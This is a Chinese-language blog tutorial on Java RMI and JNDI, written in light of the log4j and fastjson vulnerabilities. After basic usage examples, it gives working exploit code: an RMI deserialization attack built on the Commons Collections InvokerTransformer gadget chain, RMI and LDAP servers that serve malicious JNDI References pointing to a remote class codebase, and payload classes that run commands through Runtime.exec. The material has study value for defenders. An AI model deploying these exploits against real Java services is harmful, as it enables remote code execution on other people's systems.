美文网首页java
Java之RMI和JNDI

Java之RMI和JNDI

作者: 上善若泪 | 来源:发表于2021-12-10 23:18 被阅读0次

    由于最近的log4jfastjson频频曝出JNDI漏洞危机,觉得有必要学习jndirmi

    1 RMI

    1.1 rmi概念

    RMI是用JavaJDK1.2中实现的,它大大增强了Java开发分布式应用的能力,Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议
    JRMPJava Remote Message ProtocolJava远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范

    RMIRemote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中,RMI体系结构是基于一个非常重要的行为定义行为实现相分离的原则。RMI允许定义行为的代码和实现行为的代码相分离,并且运行在不同的JVM上。
    不同于socket,RMI中分为三大部分:ServerClientRegistry

    • Server: 提供远程的对象
    • Client: 调用远程的对象
    • Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)

    RMI体系结构分以下几层:

    • 存根和骨架层(Stub and Skeleton layer):这一层对程序员是透明的,它主要负责拦截客户端发出的方法调用请求,然后把请求重定向给远程的RMI服务。
    • 远程引用层(Remote Reference Layer):RMI体系结构的第二层用来解析客户端对服务端远程对象的引用。这一层解析并管理客户端对服务端远程对象的引用。连接是点到点的。
    • 传输层(Transport layer):这一层负责连接参与服务的两个JVM。这一层是建立在网络上机器间的TCP/IP连接之上的。它提供了基本的连接服务,还有一些防火墙穿透策略

    1.2 RMI基础运用

    RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote接口

    1.2.1 定义一个远程的接口

    public interface Rmidemo extends Remote {
        public String hello() throws RemoteException;
    }
    

    在定义远程接口的时候需要继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException的异常

    1.2.2 编写一个远程接口的实现类

    在编写该实现类中需要将该类继承UnicastRemoteObject

    public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
        protected RemoteHelloWorld() throws RemoteException {
            System.out.println("构造方法");
        }
    
        public String hello() throws RemoteException {
            System.out.println("hello方法被调用");
            return "hello,world";
        }
    }
    

    1.2.3 创建服务器实例

    创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中

    public class servet {
        public static void main(String[] args) throws RemoteException {
            Rmidemo hello = new RemoteHelloWorld();//创建远程对象
            Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
            registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
        }
    }
    

    到了这一步,简单的RMI服务端的代码就写好了

    1.2.4 编写客户端并且调用远程对象

    public class clientdemo {
        public static void main(String[] args) throws RemoteException, NotBoundException {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
            // 利用注册表的代理去查询远程注册表中名为hello的对象
            Rmidemo hello = (Rmidemo) registry.lookup("hello");
            // 调用远程方法
            System.out.println(hello.hello());
        }
    }
    

    在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化

    1.3 RMI反序列化攻击

    需要使用到RMI进行反序列化攻击需要两个条件:接收Object类型的参数、RMI的服务端存在执行命令利用链
    这里对上面得代码做一个简单的改写

    1.3.1 定义远程接口

    需要定义一个object类型的参数方法

    public interface User extends Remote {
        public String hello(String hello) throws RemoteException;
        void work(Object obj) throws RemoteException;
        void say() throws RemoteException;
    }
    

    1.3.2 远程接口实现

    public class UserImpl extends UnicastRemoteObject implements User {
        protected UserImpl() throws RemoteException {
        }
        protected UserImpl(int port) throws RemoteException {
            super(port);
        }
        protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
            super(port, csf, ssf);
        }
    
        public String hello(String hello) throws RemoteException {
            return "hello";
        }
        public void work(Object obj) throws RemoteException {
            System.out.println("work被调用了");
        }
        public void say() throws RemoteException {
            System.out.println("say");
        }
    }
    

    1.3.3 服务器

    public class server {
        public static void main(String[] args) 
                            throws RemoteException {
            User user = new UserImpl();
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.rebind("user",user);
            System.out.println("rmi running....");
        }
    }
    

    1.3.4 客户端

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.rmi.Naming;
    import java.util.HashMap;
    import java.util.Map;
    
    public class client {
        public static void main(String[] args) throws Exception {
            String url = "rmi://192.168.20.130:1099/user";
            User userClient = (User) Naming.lookup(url);
    
            userClient.work(getpayload());
    
        }
        public static Object getpayload() throws Exception{
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map map = new HashMap();
            map.put("value", "sijidou");
            Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
    
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, transformedMap);
            return instance;
        }
    }
    

    执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器。之所以会被执行的原因前面也说过RMI在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行
    转载于:https://www.cnblogs.com/nice0e3/p/13927460.html

    2 JNDI

    2.1 概念

    JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务命名服务的一种自然扩展
    命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。

    JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

    JNDI可访问的现有的目录及服务有:
    DNSXNamNovell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS

    以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务对象名称联系在了一起,并且可以通过它们指定的名称找到相应的对象

    2.2 JNDI结构

    Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是

    • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
    • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类;
    • javax.naming.event:在命名目录服务器中请求事件通知;
    • javax.naming.ldap:提供LDAP支持;
    • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

    2.2.1 InitialContext类

    构造方法:

    InitialContext():构建一个初始上下文。
    InitialContext(boolean lazy):构造一个初始上下文,并选择不初始化它。
    InitialContext(Hashtable<?,?> environment):使用提供的环境构建初始上下文

    常用方法:

    • bind(Name name, Object obj) 将名称绑定到对象
    • list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
    • lookup(String name) 检索命名对象
    • rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定
    • unbind(String name) 取消绑定命名对象

    示例如下:

    public class jndi {
        public static void main(String[] args) throws NamingException {
            String uri = "rmi://127.0.0.1:1099/work";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(uri);
        }
    }
    

    2.2.2 Reference类

    该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能
    构造方法:

    Reference(String className)为类名为className的对象构造一个新的引用。
    Reference(String className, RefAddr addr)为类名为className的对象和地址构造一个新引用
    Reference(String className, RefAddr addr, String factory, String factoryLocation)为类名为className的对象,对象工厂的类名和位置以及对象的地址构造一个新引用
    Reference(String className, String factory, String factoryLocation)为类名为className的对象以及对象工厂的类名和位置构造一个新引用。

    示例:

    String url = "http://127.0.0.1:8080";
    Reference reference = new Reference("test", "test", url);
    

    参数1:className - 远程加载时所使用的类名
    参数2:classFactory - 加载的class中需要实例化类的名称
    参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

    常用方法:

    void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。
    void add(RefAddr addr) 将地址添加到地址列表的末尾。
    void clear() 从此引用中删除所有地址。
    RefAddr get(int posn) 检索索引posn上的地址。
    RefAddr get(String addrType) 检索地址类型为addrType的第一个地址。
    Enumeration<RefAddr> getAll()检索本参考文献中地址的列举。
    String getClassName()检索引用引用的对象的类名。
    String getFactoryClassLocation()检索此引用引用的对象的工厂位置。
    String getFactoryClassName()检索此引用引用对象的工厂的类名。
    Object remove(int posn)从地址列表中删除索引posn上的地址。
    int size()检索此引用中的地址数。
    String toString()生成此引用的字符串表示形式

    代码示例:

    public class jndi {
        public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
            String url = "http://127.0.0.1:8080"; 
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("test", "test", url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("aa",referenceWrapper);
        }
    }
    

    这里可以看到调用完Reference 后又调用了 ReferenceWrapper将前面的Reference 对象给传进去,其原因是查看Reference 就可以知道原因,查看到Reference ,并没有继承Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用 ReferenceWrapper将他给封装一下

    2.3 JNDI注入攻击

    public class jndi {
        public static void main(String[] args) throws NamingException {
            String uri = "rmi://127.0.0.1:1099/work";
            InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
            initialContext.lookup(uri);//获取指定的远程对象
    
        }
    }
    

    在上面的InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击

    2.4 JNDI注入+RMI实现攻击

    2.4.1 RMIServer代码

    public class server {
        public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
            String url = "http://127.0.0.1:8080/";
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("test", "test", url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("obj",referenceWrapper);
            System.out.println("running");
        }
    }
    

    2.4.2 RMIClient代码

    public class client {
        public static void main(String[] args) throws NamingException {
            String url = "rmi://localhost:1099/obj";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(url);
        }
    }
    

    下面还需要一段执行命令的代码,挂载在web页面上让server端去请求

    public class test {
        public static void main(String[] args) throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    }
    

    使用javac命令,将该类编译成class文件挂载在web页面上。

    原理其实就是把恶意的Reference类,绑定在RMIRegistry里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行

    2.5 JNDI注入+LDAP实现攻击

    LDAP概念:LDAP轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP,/ˈɛldæp/)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息

    有了前面的案例后,再来看这个其实也比较简单,之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。

    示例如下:

    2.5.1 server端

    public class demo {
    
        private static final String LDAP_BASE = "dc=example,dc=com";
    
        public static void main ( String[] tmp_args ) {
            String[] args=new String[]{"http://127.0.0.1:8080/#test"};
            int port = 7777;
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen", //$NON-NLS-1$
                        InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "foo");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }
    }
    

    2.5.2 编写一个client客户端

    public class clientdemo {
        public static void main(String[] args) throws NamingException {
            Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
    }
    }
    

    编写一个远程恶意类,并将其编译成class文件,放置web页面中。

    public class test{
        public test() throws Exception{
            Runtime.getRuntime().exec("calc");
        }
    }
    

    转载于:https://www.cnblogs.com/nice0e3/p/13958047.html

    相关文章

      网友评论

        本文标题:Java之RMI和JNDI

        本文链接:https://www.haomeiwen.com/subject/fwihfrtx.html